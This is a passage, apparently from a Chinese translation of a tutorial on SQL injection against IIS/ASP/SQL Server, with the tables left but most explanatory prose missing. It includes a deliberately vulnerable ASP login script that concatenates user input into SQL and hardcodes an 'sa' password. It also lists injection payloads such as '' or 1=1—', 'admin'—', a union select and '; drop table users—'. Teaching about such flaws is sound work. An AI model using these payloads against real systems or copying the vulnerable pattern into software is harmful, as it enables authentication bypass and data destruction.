这份文档是详细讨论sql注入技术,它适应于比较流行的iis+asp+sqlserver平台。它讨论了哪些sql语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
介绍:
sql是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准sql-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。sql语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论sqlserver所使用的transact-sql语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成sql注入。
一个典型的sql语句如下:
| select id,forename,surname from authors |
| select id,forename,surname from authors where forename'john' and surname='smith' |
| forename:jo'hn surname:smith |
| select id,forename,surname from authors where forename='jo'hn' and surname='smith' |
| server:msg 170, level 15, state 1, line 1 line 1:incorrect syntax near 'hn' |
| forename:jo';drop table authors— surname: |
| select id,forename,surname from authors where id=1234 |
| <html> <head> <title>login page</title> </head> <body bgcolor='000000' text='cccccc'> <font face='tahoma' color='cccccc'> <center><h1>login</h1> <form action='process_loginasp' method=post> <table> <tr><td>username:</td><td><input type=text name=username size=100 width=100></td></tr> <tr> <td>password:</td><td><input type=password name=password size=100 withd=100></td> </tr> </table> <input type=submit value='submit'><input type=reset value='reset'> </form> </font> </body> </html> |
| <html> <body bgcolor='000000' text='ffffff'> <font face='tahoma' color='ffffff'> <style> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </style> <%@language = jscript %> <% function trace( str ) { if( request.form("debug") == "true" ) response.write( str ); } function login( cn ) { var username; var password; username = request.form("username"); password = request.form("password"); var rso = server.createobject("adodb.recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.eof) { rso.close(); %> <font face='tahoma' color='cc0000'> <h1> <center>access denied</center> </h1> </body> </html> <% response.end return; } else { session("username") = "" + rso("username"); %> <font face='tahoma' color='00cc00'> <h1> <center>access granted welcome, <% response.write(rso("username")); response.write( "</body></html>" ); response.end } } function main() { //set up connection var username var cn = server.createobject( "adodb.connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new string( request.form("username") ); if( username.length > 0) { login( cn ); } cn.close(); } main(); %> |
| var sql="select * from users where username='"+username+"' and password='"+password+"'"; |
| username:';drop table users— password: |
| username:admin'— |
| username:' or 1=1— |
| username:' union select 1,'fictional_user','some_password',1— |
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器